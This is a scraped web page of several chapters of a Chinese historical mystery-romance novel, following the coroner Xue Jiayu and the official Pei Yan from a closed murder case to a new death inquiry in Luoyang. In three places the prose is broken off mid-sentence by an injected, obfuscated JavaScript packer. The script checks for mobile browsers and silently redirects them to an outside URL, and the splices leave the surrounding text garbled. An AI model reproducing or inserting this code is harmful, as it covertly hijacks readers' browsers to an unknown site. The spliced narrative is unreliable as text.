不知是否是因为痛彻心扉,还是因为知道事情的真相,王夫人居然反常地大笑起来,她幽暗的视线落在了薛嘉玉的身上,讥讽地勾起唇角,“小姑娘,也许你当时确实没有说错,若我早些看清王颌的嘴脸——不,若我从一开始就没有听从父母之命媒妁之言,去嫁给一个只与我见过匆匆几面的男子,兴许我和我的女儿就不会落得如今这个下场。这一切都是王颌害得,是他婚后二三其德,造就了如今这个场面。” 薛嘉玉毕竟没有嫁过人,不懂婚后的柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021521|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米油盐酱醋茶之类的烦琐事情,有些不解,“王颌究竟做了多么背信弃义之事,才能将你逼到如此地步?” “当年我刚与王颌成亲的时候,还算得上相敬如宾,他对我还算不错。很快我们便有孩子,只是他对我的那些好都是装出来的,因为他背着我偷偷养了别宅妇!他对我好,不过是因为他对我愧疚罢了。后来,我生了个孩子,是个儿子,我对他百般宠爱,可直到前不久我才从王颌偷偷藏起来的信件中发现养了这么多年的儿子居然是他和别宅妇生下来的贱种。而我的亲生女儿自一生下,就被王颌给丢到外面去了。” 裴砚并未全信她的话,问了一个很关键的问题:“这一切都是王颌做的孽,那你为什么杀掉的是王诗,而不是王颌?” 王夫人的眼眸上蒙上了一层无奈,“我当然知道这一切都是王颌做的孽。可是那一晚我却发现那该死的贱种居然趁着酒意,想要轻薄雁萍,那可是我的怀胎十月生下来的女儿啊!虽然未曾养育过她,可毕竟血浓于水,这份生育之恩是无论如何也抹去不了的。他轻薄了我的女儿,我自然应该找他算账。之所以我不肯对王颌下手,是因为雁萍需要认祖归宗,没有娘家做支撑的女子就像是没有身份一般,走在哪儿都会低人一头。” 听完这一切,薛嘉玉看向王夫人的眼神中多了一丝复杂,之前因为栽赃嫁祸的事情,她只觉得王夫人是个敢做不敢当的人,可如今看来,她其实也是个被封建思想绊住了脚步的可怜女子。 王夫人盯着眼前永远陷入沉睡的雁萍,两眼绯红,苦苦哀求裴砚,“裴少卿,我想再抱抱她,自打她出生以后,我这个亲生母亲还没怎么抱过她呢。” 裴砚虽然面上永远是一副冷漠无情的包公样,但是他也是个有血有肉的人,对金羽挥了挥手,示意他把王夫人放下来。 金羽刚解开两个锁链,王夫人就迫不及待地跪在雁萍身边,左手颤抖着掀开白布,她一手枕在雁萍的后颈处,一手搭在她僵硬的腿弯下面,好让雁萍的脸可以靠在她的胸前。 这是一个母亲抱着怀里的婴儿的姿势。 王夫人的手还不忘缓慢地拍着雁萍的后背,“除了药是雁萍熬制的以外,其他所有事情都是我一人所为。雁萍是个无辜的孩儿,还望明日升堂的时候,裴少卿莫要提及雁萍所做之事,她生前已经很苦了,不想看见她死后还被人议论。” 次日,大理寺对王诗被刺杀一案盖棺定论,王夫人被判处死刑,于秋后问斩。 城外,天上下着淅淅沥沥的小雨,青城山上百草丰茂,一眼望去,全是绿油油的一片,薛嘉玉身着一身翠色衣裙,手中握着一把纯色油纸伞,安安静静地立在一块墓碑前,那墓碑上刻着几个字——王夫人之女雁萍墓。 这时,她的身后忽地响起一道男声,“薛娘子。” 薛嘉玉蓦然回首,是穿着一身红色官服的裴砚,他的头上还戴着官帽,想必是刚下公堂,便直接赶来了这里。 “多谢裴大人肯应允民女这个愿望。” 裴砚从袖口中拿出一枚金镶玉头钗,放在了雁萍的墓前,“不用你说,我也自会为她修墓。虽然害人之命不可取,但究其根本,都是上一辈酿成的大错,却让他们来承受,属实可怜。” “大人,那个在寺庙中出现的男子该当如何处理?” 他单手背在身后,身姿挺拔,玉树临风,只听他悠悠道:“现在尚且没有人见到过他的样貌,且也没有证据可以指证那男子同此案有关联,所以大理寺不予受理。” 得知是这样的结果,她难免有些失落,“这样啊。” “我还有公务在身,就先行离开了。” “等等!” 裴砚顿步回首,他面容姣好,剑眉星目,在烟雨朦胧中倒是显得愈加俊美,若是要评选长安四大美男,薛嘉玉定会投上一票。 她一时被美色迷得有些出神,还是等裴砚不耐烦地喊了一声她的名字,薛嘉玉才缓缓将飘忽不定的理智给拉了回来。 “裴大人,民女还有一事相求。” 8. 秘辛 “说。” 裴砚说话依旧是这么的言简意赅,一点都不愿跟她废话,倒是跟他不拖泥带水的性子很相配。 薛嘉玉弓着腰,对着面前的人行了一叉手礼,恭敬地说:“民女想一直以裴大人侍女的身份陪同查案。实不相瞒,民女从小就向往大理寺,但困于性别,无法做官,可民女初心不改,想要帮助更多的人得到正义,因此才当了仵作。” 他眼神微眯,好整以暇地盯着眼前这位小娘子,不知是在嘲讽,还是在真心夸赞,“你正义感倒是挺强。” 薛嘉玉跟他相处的这几天里,发觉此人其实并不似表面上看着的那么不近人情,若他真是个薄情寡性的包青天,那他早就在自己提出协助办案的时候,一把将她拒之门外了。 因此她才冒出了这个大胆的心思,想要搏一搏。 “还望裴大人能够应允。” 他看得出来薛嘉玉脑子还算机灵,况且胆子不小,兴许她未来能成为一颗很好用的棋子。 裴砚不语,只是把自己腰间的一枚双鱼翡翠玉佩解下来,朝她抛了过去,薛嘉玉稳稳当当地接住了。 随后,他便转身潇洒离去。 她紧紧握住手心里的玉佩,这玉佩成色通透,没有杂质,一瞧便知这翡翠是难得的上等宝贝,要是拿去典当行当了,指不定能当多少钱呢,兴许都能保她三生三世富贵无忧了。 不过,话说回来,这位大理寺少卿未免也有点太闷骚了吧? 薛嘉玉将玉佩牢牢地系在腰间,生怕被哪个贼人给顺手牵羊偷走了。 罢了,这些目前对她而言都如过眼云烟,当务之急是要讨得裴砚的欢心和信任,这样她才能够接触到更多与当年有关的事情。 以慰家人的在天之灵。 这几日,薛嘉玉除了将黄色披风洗干净还给五娘,就一直待在家里面研读从赵大娘那儿讨来的鬼仙蛊秘方,此毒药所需草药并不罕见,只是种类繁多,想要迅速集齐并不容易,且对烹制的火力有着严格要求。 一朝一夕就想要学成,简直就是天方夜谭。 是夜,她沐浴完,穿着里衣来到卧房,从柜子里翻出一件老旧的披风搭在身上,旋即便坐在椅子上继续研读药书。 可过了一阵子,大门忽然间被人敲响,听这连续不断的敲门声,似乎那人有着十万火急的事情要找她。 薛嘉玉一边系上披风的带子,一边快步赶到门口,其实她已大致猜测到了来者是何人。 她略有些心疼地看着被敲得哐哐震动的木门,“别敲了别敲了,门都要被敲坏了。” 她取下门锁,一把将大门推开,沉着脸看着门口的两位男子。 站在门口的人果真是裴砚和金羽。 裴砚这次罕见地穿了一身黑衣,夜晚霜寒露重,所以肩膀上还披着一件玄色貂皮大氅,他双手抱在胸前,“立刻随我去一趟洛阳。” “什么?现在?”这完全出乎了薛嘉玉的意料,她一时间还没缓过来,“那我去收拾一下行囊。” “来不及了,此时十万火急,现在就同我骑马离开。” 裴砚嘴上说着这件事十分迫切,但从语气中却听不出来半点着急。 她的眸中笼罩上了一丝迟疑,但瞧着裴砚那副不容拒绝的模样,又把这句话给强行吞了进去,薛嘉玉抿了抿唇,苦涩地笑了句,“可我不会骑马。” 裴砚一早便料到她这样的寒门女子定然没有学过骑马,因而他也只牵了两匹马过来,“无碍,你与我同乘一匹马便是。” 薛嘉玉目瞪口呆,他们二人孤男寡女,又正处于情窦初开的年纪,同乘一匹马实属过于亲昵,要是被有心人瞧去了乱传,恐怕会影响她做单子的名声。 她有些顾虑,“这样……不太好吧。” 说完这句话,她发现裴砚早就已经丢下她,自顾自地翻身上马。 看来,是她多想了。 这裴砚一看就知道是个没开情窍的男子。 况且裴砚这种高门子弟怎会对她这样的人动心?她是万万不愿攀上这样的高枝的,权贵生活奢靡无度,其中的勾心斗角劳神伤力,薛嘉玉可没那么多心思去跟别人斗来斗去。 薛嘉玉抬起右腿,右脚踩在马镫上,两手紧紧扒住马背,奋力一跃,终是狼狈地上了马。 裴砚瞧她这副稀奇古怪上马的模样,觉得甚是好笑,但顾及到她是一小娘子,只微不可察地弯了弯唇角。 “抓紧我,莫要被甩下去了。” 他一手执着长鞭,两腿朝着马肚子狠狠一夹,马儿迅速在空旷的城中驰骋,不断交替的马蹄在地面上荡起滚滚烟尘。 薛嘉玉吓得差点咬住了自己的舌头,连忙抓住裴砚身上的大氅,甚至额头上都霎那间冒出了一层薄汗,“大人,慢点!” 可是他非但没有减缓速度,反而是倾身向前,腾出一只手,拿鞭子狠狠拍了一下马屁股,“都说了让你抓紧点,你若被甩了下去,我可只能见死不救了。” 常言道:“男女授受不亲”。 可此时此刻,她才难得管什么礼节,只想保住自己的小命要紧,于是她慢慢地往前挪了挪,两手轻轻地环住他的腰。 这样一来,即便她被甩了下去,薛嘉玉也能拉个垫背的。 黄泉路上也不孤单。 她尽力让自己变得冷静起来,“裴大人,为何洛阳有案,不是让衙门的人去管,而是让大理寺去?况且,你没必要这么着急吧。” 裴砚皱着眉头,简单解释:“此案牵涉长安的王公贵族,不得不快马加鞭。” 他这么一说,薛嘉玉倒是有些困惑,按理说,事关王公贵族,不应该是越少人知道越好吗? “王公贵族?那裴大人还带我去?” 裴砚蓦地回过头来,疾风拂过,他的高马尾随风扬起,浑然一副翩翩公子模样,可是他唯有样貌能够给人一种温润如玉的感觉。 只听他哼笑一声,讥讽地反问:“我还以为薛娘子是个不知天高地厚的人?” 她垂下头,眸光暗沉,“那倒不是,我只是担心到时候知道的太多,会有人想弄死我。” “具体情况我尚且不太清楚,不过你实属多虑了,那位的性子与你有些相似,兴许你们还能成为金兰之交。” “金兰之交?” 薛嘉玉只当他是在诓自己,虽然她住在西市,但也同一些高门子弟打过交道,也听过一些贵族的风言风语,更何况当年自己的家人就是被权贵所杀,那权贵的手甚至都伸到了大理寺,导致此案无疾而终。 所以,那些人里哪有脾气好的? 裴砚连夜赶路,未曾休息片刻,反倒是身后的薛嘉玉已经酣然睡着。 也不知道她究竟做了什么梦,一会儿将他抱得让他差点喘不过气,一会儿又朝着他的后背拍了几下。 他总觉得薛嘉玉是在借做梦,报之前冤枉她的仇。 翌日清晨,天光熹微,秋风萧瑟,薛嘉玉仍在睡梦之中,他瞧着她全身上下都在打寒颤,便宽宏大量地褪下自己身上的大氅披在了她的身上。 到了客栈,裴砚翻身下马,将马绳拴在木桩上,抬头便瞅见薛嘉玉趴在马背上,两手搂着马肚子,大抵是觉得马身上毛茸茸的,还用手心来回搓了几下。 “薛娘子,起来了。” 薛嘉玉不情不愿地睁开眼睛,却发现自己竟然在大街上,这时正值早市,街上人来人往,热火朝天,过往的许多行人瞧见有一位女子趴在马背上睡觉,觉得甚是稀奇,都不禁驻足观望。 她羞得面色通红,急忙从马背上蹭起来,身上的大氅顺着肩膀滑落,幸亏薛嘉玉眼疾手快,及时抓住了不断滑落的大氅,这才没让大氅掉在地上。 薛嘉玉单手抱住宽大的大氅,笨拙地揪住马鞍下马,“大人,你怎么不早点把我叫醒啊?” “看你睡得那么熟,实在不忍心。”裴砚接过大氅,披在身上,单手背在身后,“走吧,去给你置办一身衣服。” 她低头看了一眼自己身上裹着的里衣,慌乱间把身上的披风拉紧了一些,接着小碎步跟上裴砚的步伐。 “大人,金羽呢?”< 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薛嘉玉是知道这浮光锦有多么的昂贵的,即便她很喜欢这几套,可是她也不愿欠人人情,而且万一买了之后这裴砚忽然间反悔,让她还这些衣服的钱呢? “大人的心意我心领了,只是这浮光锦价格不菲,我实在不敢收下。” 裴砚倒不觉得这几套衣服哪里贵了,他之所以挑了浮光锦,也不过是因为前些天她说自己从未穿过丝绸衣物。 “你可知我们马上要去见的人是谁吗?” 薛嘉玉诚实地摇摇头。 “乃是平远侯夫人崔景天,为清河崔氏,她的父亲便是当朝户部尚书。这些玩意儿在她看来也许都不入眼,所以你没必要再三推脱。” 她福至心灵,立刻点了点头,不敢再推辞了。 薛嘉玉换好新衣裳,简单地用发簪挽了一下头发,发丝自然垂落在腰间,看着倒是与先前的她有些不太一样了。 意识到自己盯她盯得有些出神,裴砚连忙悻悻收回目光,他单手握成拳,放在嘴边,轻轻咳了一声,“走吧,一同去平远侯府。” 二人来到侯府,一向气派的侯府门面此刻也挂上了白布,左右两边还挂着一串白灯笼,裴砚没有将大理寺腰牌递给守卫,而是将代表裴府的锦鲤玉牌递给他。 守卫接过玉牌,一瞧是裴府的人,立刻点头哈腰地迎他们二人进去。 正堂里,一位瞧着才不过芳龄二十的女子身着白色衣裳,她正与一位老爷子纠缠。 裴砚朝着那女子招了招手,“景天。” 景天? 薛嘉玉的视线忍不住在他们二人身上逡巡几次,听这称呼,看来他们二人早已相识。 耳畔响起熟悉的声音,崔景天循声望去,双眸微亮,连忙走到他的身前,“裴砚,一别数月,可还好?” “我挺好的。你信上说平远侯的死有古怪之处,何出此言?” 崔景天掀起眼皮,谨慎地瞧了眼不远处那位老爷子,“你随我来别院。” 来了这侯府,薛嘉玉才算是真正地开了眼界,不愧是曾经立下了汗马功劳的平远侯府,哪怕是僻静处的别院也是修葺得别有洞天。 此处栽种了几颗桂花树,正巧此时正值桂花盛放之际,满园飘香,沁人心脾,而这院中还有一清澈的泉水,泉上有一木制湖心亭。 她总算懂得了为何贵族皆爱曲水流觞、抚琴演奏了。 崔景天与裴砚自小一同长大,她从未见过裴砚身边站着的这位小娘子,顿时有些好奇,“裴砚,这位小娘子是?” “他是我的侍女。姓薛,名嘉玉。” 薛嘉玉极其配合地点了点头。 可崔景天却忍不住打量了一番她,最终视线落在了她身上的浮光锦上,意味深长地拖长声音“哦”了一声,旋即进入正题。 “平远侯于前日去世,他那晚喝了不少酒,一回来就直冲我的卧房,嘴里念叨了不少恶心人的话,我嫌他身上臭,就把他赶了出去。结果到了第二天,便有婢女告诉我,平远侯死在了自己的卧房。” 9. 燕柳 “所以你怀疑周琅是为人所害?” 崔景天忧心忡忡地颔了颔首,“没错,这周琅素日里就爱去花天酒地绝不会因为喝醉了就意外死去。我想此事恐怕没有那么简单,只是苦于没有证据,无法报官。” 薛嘉玉忽地出声提议:“没有证据,那我们去死者身上找证据即可。若是死因当真蹊跷,一验便知。” 崔景天看向她的眼神蓦地生出几分诧异和欣赏,“裴砚,没想到你的侍女居然还会验尸?当真只是侍女?” 裴砚面色复杂地扯了扯嘴角,“她的身份并不重要。” 崔景天单手捏着下巴,“不过若要验尸,方得等到夜深人静之时。” 他来此处也只是为了了解情况,长途跋涉了一路,裴砚还尚未进食,此刻也已经有些饥肠辘辘了,“那我们先去别处听听风声,到了晚上自会前来拜访。” 说罢,二人拔腿就走,未曾料到崔景天却突然上前揪住他的衣袖,将裴砚生拉硬拽到一颗宽大的桂花树后面。 裴砚急忙将自己的袖子扯出来,语重心长地教育:“景天,虽说你如今已然丧夫,但毕竟周琅刚死不久,你还是得要注意一下男女之间的距离。” 只见她不以为然地摆了摆手,“你知道的,我与周琅无半点儿女私情。我是想问……你和她到底是什么关系?她身上穿着浮光锦,若真是你的侍女的话,不应该打扮得这么耀眼啊。你老实交代,这是不是你的心上人?” 可他冷着一张脸,正气凛然地否认:“自然不是。如今我只想好好做官,不愿去想那些儿女私情。” 这时,薛嘉玉缓缓靠近那颗藏着人的桂花树,想要偷听他们到底在说什么,可是偷鸡不成蚀把米,居然被裴砚给当场捉了个现行。 他暗暗威胁:“想偷听?” 薛嘉玉连忙摇头否认,两只手放在胸前不停地左右摇摆着。 “自然不是。” 裴砚自是知道她在撒谎,只是这是在别人的地盘上,教训自己的人总归是有些不大好的,他拂了拂袖,“罢了,不与你一般计较。” 他走路时脚底像是抹了油一般,才不过一眨眼的功夫,就已经离开了这个萧瑟的院子,薛嘉玉还未来得及和崔景天道句再见,就匆匆忙忙地去追裴砚了。 “大人,我们现在应当去何处探探风声?” “先去长乐坊寻些东西吃吧。” “长乐坊?” 薛嘉玉一听这名字,就觉得这肯定是寻欢问柳的地方,果然男子都是一个模子里刻出来的,不管到了何处,不管成家与否,都喜欢去那种地方寻快活。 可是她刚在心里面脑补出了这么大一段话,就听见裴砚解释:“没错,这长乐坊是洛阳最大的一家酒肆,听闻那里的厨子技艺不错,所以那些贵族子弟一向都爱在那儿吃喝玩乐。” 原来是误会他了。 然而才不过几秒,便又听见裴砚悠悠地补充:“不过呢,那长乐坊的舞女个个都长得倾国倾城,舞艺精湛,听闻那花魁曾凭借一曲《浮水之萍》艳惊洛阳。如今我也算是可以一饱眼福了。” 薛嘉玉脸色一黑,亏她刚才还短暂地愧疚了几秒,没想到他竟然还是为了那里的舞女。 不过毕竟他是长安的公子哥,贪图享受也是意料之中的。 薛嘉玉并不关心这个,她只是好奇另外一件事情,“大人,方才我听你说是崔娘子寄了一封信给你,所以你其实并不是代表大理寺来的?” “你倒是聪明。” 他掀开长乐坊大门处的珠帘,立刻就有一位身着青色纱裙的女子奉上了一支桂花,她的眉心点着一朵含苞欲放的花骨朵,“公子今日是来喝酒还是来赏舞的啊?” 来了这长乐坊,裴砚也将原来冰冷的面庞一把舍弃,转而嬉皮笑脸地瞧着面前的美人,浑然一副纨绔公子的模样,“既然来了长乐坊,那定然是来赏舞的啊,顺道再来看看艳惊全城的花魁姑娘。” 美人笑靥如花,一边往后退,一边冲着裴砚勾勾手指,眼波流转,“那公子便随奴家来吧。只是不知这位女子是公子的什么人啊?” 裴砚连个眼神也不给身后的薛嘉玉,烦躁地摆了摆手,“随从罢了,不必管她,把我伺候高兴就成。” 薛嘉玉不得不佩服他变脸的速度,平常都听人说女子翻脸的速度如翻书一样,可今日一瞧,她倒是觉得裴砚才担得起这话。 分明刚才同她说话的时候,还摆着一副欠了他二五八万的大爷模样,现在有温香软玉在旁,就立刻换了一副模样,不知道的还以为他是个好说话的纨绔公子,其实就是一个人面兽心的狗官。 那位美人在这长乐坊待了数年,看得出来这位公子来历不凡,定是出手阔绰,于是便带着他们来到了三楼的上好包厢,“公子,这是我们长乐坊最好的包厢,能够在这里将长乐坊所有的舞姬尽收眼底。燕柳姑娘将会在半个时辰之后登台表演,若是公子肯为她一掷千金的话,便能与她共处一室,行心中所想。” 裴砚坐在凳子上,毫不客气地拿起刚才美人为他满上的茶盏,“我知道了,你先出去吧。” 美人娇俏回应:“是。” 待美人离开厢房后,薛嘉玉也丝毫没和裴砚客气,直接拉开凳子坐下,拿起桌上摆得规整的桂花糕,大口塞进嘴里。 可是这桂花糕实属有些噎人,她吃了一口便没吃了,之后拿起旁边用玻璃盏装着的元宝酥,入口即化,唇齿间皆充盈着一股豆沙的味道。 她倒是很喜欢这元宝酥的口感,一不留神便把一盘的元宝酥都给吃完了。 大抵是一下子吃得太多了,薛嘉玉拿起旁边青白相间的茶壶,给自己的茶杯满上,然后一点也不淑女地将杯中的热茶全都一饮而尽。 说实话,裴砚从未见过吃东西如此豪放的娘子。 反倒是他一个男子却是用手拈起一块云片糕,小小地咬了一口,举止间尽显优雅二字。 “薛娘子,你能否吃得文雅一点?” 薛嘉玉瘪了瘪嘴巴,她抄起一片白花花的云片糕,“我不像您,是只靠清晨的露水就能饱腹的仙男。我是个活生生的人,从昨晚起便再也没进食了,早就饿得分不清东南西北了。再者,这玩意儿虽然噎人,但胜在好吃,而且这茶口感极好,一点都不让人觉得苦涩,我可不得多吃点嘛。” 裴砚不知道是想到了什么,无奈地摇了摇头,也没有继续教训她,“废话,这茶可是上等的云雾茶。” “可是大人,你就这样抛下大理寺不管,溜到这洛阳帮崔娘子,就不怕事后被问责?” “你都猜到我是富贵子弟,既然家中有权有势,那就不必担心这个。” 她想了想,这话确实没有说错,有的时候家世就是一个人最大的底气。 “话说,大人,你一会儿当真要一掷千金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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据言,这《浮水之萍》乃是燕柳姑娘一人所做,此舞以游子为主体,展现了如浮萍一般的游子胸怀大志来到长安,准备大施拳脚,可居大不易,最终还是一人落寞回乡,引得无数游子的共鸣,因而此舞无人可以比拟,哪怕有人专门向她求学此舞,可最终也只是学会了“形”,没有领悟到其中的“神”。 燕柳姑娘身子曼妙,一袭红色舞衣,尽显意气风发之态,然此舞表演到后半段时,只见她撕下红色舞衣,只留下一身灰白色的衣裳,而曲子也立刻变得低沉婉转,不见先前那般高昂,似乎是游子未能得其志,只能收拾行囊,离开陋室,灰扑扑地回到家乡。 曲终舞毕,明明时间只流逝了不过四分钟,可是在场的人却仿佛窥见了一位游子悲惨的一生。 燕柳姑娘两手叠在身前,朝着面前的众人行了一谢幕礼,随即便有客官取下腰间的钱袋子,精准地扔在了舞台上,只为讨美人欢心。 只要有一个客官开始扔钱,便会有更多的客官开始攀比起来谁扔的钱更多,他们争相朝着台上扔钱,只为一饱春色。 此时,裴砚将手心里沉甸甸的钱袋子抛在了舞台上,左手曲起搁在镶了金的栏杆上,手掌心则是托着下巴,头发被高高束起,发尾轻轻扫在肩膀上,吊儿郎当地开口:“燕柳姑娘,可喜欢我给你的礼物啊?” 10. 犒劳 他这番作为实在是太花枝招展了,自然是引得楼下众人投来好奇的目光,薛嘉玉趴在拉杆上,板着脸吐槽:“大人,你不觉得你这样做有点太……引人注目了吗?” “不花枝招展一点,怎么能引起美人的注意呢?” 底下的燕柳捡起那包比石头还重的钱袋子,她将里头的六枚金元宝一一拿了出来,那些客官立刻甘拜下风。 燕柳将元宝装了回去,抬头看向靠在栏杆上的高马尾少年,“多谢公子厚爱。” 裴砚眼波流转,“既然谢我,那就速速来见我吧,我已经想见燕柳姑娘很久了。” 说罢,他便转过身去,凑到薛嘉玉的耳畔前,悄声说:“你去找别人探探周琅此人平日都来这里做什么?大多都是和谁一起来的。事成之后,定会犒劳你的。” 最后六个字狠狠地拿捏了薛嘉玉,她抬起手,豪迈地拍拍胸脯,“大人您就放心吧,民女定会办好的。” 她自知此处不应多待,不然只会坏了裴砚和燕柳的好事,所以她麻溜地跑下楼,随便抓了一位迎客的小厮,“伙计,我问你点事儿呗。” 那小厮瞧面前这小娘子虽面颊消瘦,但身材颀长、气质出众,而且五官精致,尤其是眉角那颗小痣,实在是独特。 所以他也愿意配美人耗费时间,“小娘子,你请说。” “你可知道平远侯周琅?” 说起这个人,小厮立刻眉飞色舞起来,“平远侯谁不知道啊?他可是长乐坊的常客,平日都爱和陈公子结伴来这儿吃花酒。不过你说这平远侯专一也还是挺专一的,每次来这儿都只找燕柳姑娘,但你要说他不专一也确实不专一,明明家里就已经有一位国色天香的夫人了,还要来这儿吃花酒。” 薛嘉玉瞬间抓住了话里的重点,她追问:“你可知为何平远侯每次只找燕柳姑娘吗?” “这个我就不知道了,不过燕柳姑娘长得一副花容月貌,舞技精湛,又是这洛阳有名的花魁,招男子喜欢也是情理之中的事情。” “那陈公子呢?” 小厮立刻变得小心翼翼起来,用手朝着她招了招,“小娘子,你靠过来点。” 薛嘉玉眉头微蹙,不明意味地照着他说的靠了过去,“怎么了?” 小厮不似先前那么光明正大,而是压低嗓音,用手半掩着脸,“这陈公子啊更是个有钱的花花公子,每日都会来这里喝花酒,就连平远侯死了之后,都还是回来这儿。他每日都是左拥右抱,一闹就闹一整夜,但因为有钱,所以有不少舞姬都往他身上扑。” 她从袖口中扣扣搜搜地掏出几两银锭,“莫要与别人提起我问过你这些事。” 小厮在这鱼龙混杂的地方混了这么久,自然懂得这规矩,他收下这几辆银锭,“娘子放心,我定不会透露出去的。” 薛嘉玉瞧着三楼那间紧闭的房门还未有动静,便坐在大堂安心欣赏台上的胡妓跳胡旋舞。 她一边拈起盘子上的云片糕,正打算一口咬掉一半,忽然间脑子里响起了裴砚那一句话。 ——“你能不能吃得文雅点?” 她学着先前裴砚一点点吃糕点的模样,只咬了小小一块,可是还没品尝出什么口味,就已经在口中化掉了。 薛嘉玉只觉得这种吃法简直太矫情了,而且也是对美食的一种蔑视。 索性又像以前那样,直接一口胡塞进去。 大约等了一刻钟,才见裴砚从包厢里出来,只是薛嘉玉留意到他比进去之前似乎多了些心事。 裴砚面色沉重地坐在她的对面,他倒了一杯热茶来喝,“打听得怎么样了?” 薛嘉玉将方才小厮说的话全都一五一十地转述给他,“这平远侯当真是个无情无义之人,娶了妻子却置之不管,整日只知吃花酒。” 他有些反常,就简单“嗯”了一下。 她发现裴砚有些出神,便抬起手臂,用手心在他眼前晃了晃,“大人,你怎么了?你进去后都发生了什么?该不会你被人家姑娘给强吻了吧?” 裴砚回过神来,曲起手指,叩了叩桌面,“你一未出阁的小女子脑子里面都在想些什么?我只是在想旁的事情罢了。” “大人,您是不是忘了什么事?” 他真觉得这娘子掉进钱眼里面去了我,裴砚大手一挥,从袖子里又掏出一个钱袋子,“给你的。” 此时此刻,在薛嘉玉眼里,裴砚的周围都散发着神圣的光芒,简直就是当代财神爷! 薛嘉玉虔诚地双手接过钱袋子,然后用力掂了掂,喜笑颜开,“大人莫不是给我装了金子?” “大白天的做什么白日梦?” 他冷冷的一句打碎了薛嘉玉美好的幻想。 她的脸也瞬间拉了下来,拉开钱袋子一看,里面有三个银元宝。 算了,三个银元宝也够她之前赚好久的了。 人还是要学会知足。 薛嘉玉将钱袋子小心翼翼地揣在胸口的位置,“大人以后有事尽管吩咐,我定为你当牛做马。” “客套话就免了。” 裴砚起身,本打算叫上薛嘉玉离开这里,去侯府瞧瞧崔景天,顺道问问周琅素日都与谁来往甚密。 可是话刚到嘴边,他就留意到一位穿着红色云纹长袍,肩膀上披着一件黑色暗纹鹤氅,手中还拿着一把不合时宜的紫扇。 一眼看去也能知道此人气度不凡。 薛嘉玉瞅着他方才分明是想要说什么的,可现在脸上又罩上了一层像是见到鬼一般的表情。 她也好奇地循着裴砚的视线望去,一朵奇葩出现在了她的视野中,那男子明明身上穿着用于保暖的鹤氅,可手上却执着一把扇子。 实在是脑子有病。 “大人,那男子是不是有什么毛病啊?不然为何——” 话尚未说完,裴砚便厉声打断:“莫要继续说了。” 少顷,那男子就单手撑开扇子,不紧不慢地扇着,迈着悠悠步伐来到裴砚身边,“裴砚,一别数年,没想到竟会在洛阳遇到你。近日可好?帮我向令尊令堂带一句问好。” 与其说是一别数年,倒不如说是裴砚一直在躲着这位大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛嘉玉没有坦诚相待,自嘲一笑,盯着茶杯,脑子里想到的是当年家人因为得罪权贵而被灭口,嘴巴里说得却全是假话,“对于我们这种底层百姓来说,那些王公贵族就是只会搜刮民脂民膏、贪图享乐的人。好歹生活条件有着云泥之别,心中有些仇恨也是正常的。” 这时已到酉时,长乐坊里顿时人声鼎沸、歌舞升平,四处传来人们寻欢作乐的声音,来自四海八方的舞姬们在台上争相表演,争奇斗艳,从而俘获客官们的青睐。 可在这长乐坊最热闹的时候,却不见了燕柳的踪迹。 裴砚不喜热闹,也怕在遇上陈晟,便带着她匆匆离开这里。 她知道验尸还得在等上一个时辰,于是问:“大人,那我们现在去哪儿?” “你可有什么想吃的?就当是给你上次协助破案的犒赏。” 听及此,薛嘉玉眉头扬起,眼眸霎时闪过一丝惊喜,“可当真?那我要吃西市那儿一位老爷子卖的糖葫芦。” 裴砚单手插在腰间,他敛了敛眉,瞥向她的目光中增添了几分猜疑,可他却扬起唇角,笑着回应:“行。” 11. 露馅 没想到,时过境迁,但老爷子还在这里卖糖葫芦,说起来她自从到了长安就没吃过几次糖葫芦。 倒不是因为长安的糖葫芦比洛阳贵,只是当了家方才知道柴米油盐有多贵,平日本就赚的不多,自然是能省则省。 薛嘉玉一口咬掉一个脆脆的山楂,糖纸瞬间糊在了她的嘴唇上,她伸出手指,将那些糖纸全都塞进嘴里,甜甜的,倒还真有小时候那股味道。 裴砚瞧她吃个糖葫芦都吃得意犹未尽,“一个糖葫芦而已,有必要这般恋恋不舍?” “裴大人这几日怎么总爱拿我打趣儿?一会儿嫌我穿得寒酸丢了大人的脸面,一会儿嫌我不会骑马,这会儿又嫌我吃个糖葫芦都吃得依依不舍。我是很穷,但也是有骨气的。” 他居然一本正经地说:“我没拿你打趣儿,只是希望你不要总是因为一些小恩小惠而感激不尽。” “我哪有那么傻?” 话音刚落,裴砚还未来得及反驳,薛嘉玉的视线就被不远处一个卖簪子的铺子给吸引过去了,她走到铺子前,拿起那枚流苏玉簪,簪头被雕刻了一枝月季花,倒是时下小娘子们素爱的款式。 “老板,这枚簪子多少价钱啊?” 老板伸出一只手,比了个“3”,“小娘子好眼光啊,这枚簪子可是我这小铺卖得最好的,只需要三银锭。” 薛嘉玉从钱袋子里翻出三银锭,递给了老板。 刚拿到这枚簪子,她就迫不及待地将这枚簪子插在了发髻上。 身后的裴砚发觉那枚簪子的月季花是冲着自己的,有些头疼地用手揉了揉眉心,“薛娘子,你插反了。” 被他提醒后,薛嘉玉连忙把簪子调整过来,生怕周围有人瞧见了这件糗事。 见她自己调整好了,裴砚只得尴尬地将悬在半空的手默默收了回来。 